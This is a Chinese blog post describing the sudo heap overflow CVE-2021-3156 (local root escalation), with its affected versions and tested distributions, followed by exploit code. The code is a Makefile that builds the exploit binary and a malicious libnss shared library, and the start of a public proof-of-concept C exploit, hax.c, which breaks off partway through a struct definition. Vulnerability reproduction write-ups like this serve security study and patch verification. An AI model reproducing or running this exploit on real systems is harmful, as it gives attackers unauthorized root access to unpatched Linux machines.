Linux sudo权限提升漏洞 CVE-2021-3156

最新推荐文章于 2024-07-05 10:55:36 发布

PeiQi_WiKi

最新推荐文章于 2024-07-05 10:55:36 发布

阅读量798

点赞数

分类专栏：漏洞复现文章标签：安全

本文链接：https://blog.csdn.net/m0_46257936/article/details/113483543

版权

本文详细介绍了Linux sudo权限提升漏洞CVE-2021-3156，该漏洞允许攻击者在无需密码的情况下获取root权限。漏洞源于sudo在处理某些命令时的堆缓冲区溢出，影响sudo 1.8.2到1.8.31p2及1.9.0到1.9.5p1版本。攻击者可通过本地利用，已在Ubuntu 20.04、Debian 10和Fedora 33等发行版上验证成功。目前，PoC已在GitHub公开。

摘要由CSDN通过智能技术生成

Linux sudo权限提升漏洞 CVE-2021-3156

在这里插入图片描述

漏洞描述

2021年1月26日，Linux安全工具sudo被发现严重的基于堆缓冲区溢出漏洞。利用这一漏洞，攻击者无需知道用户密码，一样可以获得root权限，并且是在默认配置下。此漏洞已分配为CVE-2021-3156，危险等级评分为7分。

当sudo通过-s或-i命令行选项在shell模式下运行命令时，它将在命令参数中使用反斜杠转义特殊字符。但使用-s或-i标志运行sudoedit时，实际上并未进行转义，从而可能导致缓冲区溢出。因此只要存在sudoers文件（通常是/etc/sudoers），攻击者就可以使用本地普通用户利用sudo获得系统root权限。研究人员利用该漏洞在多个Linux发行版上成功获得了完整的root权限，包括Ubuntu 20.04（sudo 1.8.31）、Debian 10（sudo 1.8.27）和Fedora 33（sudo 1.9.2），并且sudo支持的其他操作系统和Linux发行版也很容易受到攻击。

漏洞影响

Sudo 1.8.2 - 1.8.31p2

Sudo 1.9.0 - 1.9.5p1

漏洞复现

目前POC已经在Github公开

Linux sudo权限提升漏洞 CVE-2021-3156

在这里插入图片描述

当前可以验证的Linux环境为

 Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31
 Debian 10.0 (Buster) - sudo 1.8.27, libc-2.28

这里使用腾讯云中的Ubuntu镜像进行复现

使用命令

在这里插入图片描述

漏洞利用POC

Makefile

all:
	rm -rf libnss_X
	mkdir libnss_X
	gcc -o sudo-hax-me-a-sandwich hax.c
	gcc -fPIC -shared -o 'libnss_X/P0P_SH3LLZ_ .so.2' lib.c
clean:
	rm -rf libnss_X sudo-hax-me-a-sandwich

hax.c

/**
 ** CVE-2021-3156 PoC by blasty <peter@haxx.in>
 ** ===========================================
 **
 ** Exploit for that sudo heap overflow thing everyone is talking about.
 ** This one aims for singleshot. Does not fuck with your system files.
 ** No warranties.
 **
 ** Shout outs to:
 **   Qualys      - for pumping out the awesome bugs
 **   lockedbyte  - for coop hax. (shared tmux gdb sessions ftw)
 **   dsc         - for letting me rack up his electricity bill
 **   my wife     - for all the quality time we had to skip
 **
 **  Enjoy!
 **
 **   -- blasty // 20210130
 **/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <ctype.h>

// 512 environment variables should be enough for everyone
#define MAX_ENVP 512

typedef struct {
   
	char *target_name;
	char *sudoedit_path;
	uint32_t smash_len_a;
	uint32_t smash_len_b;
	uint32_t null_stomp_len;
	uint32_t lc_all_len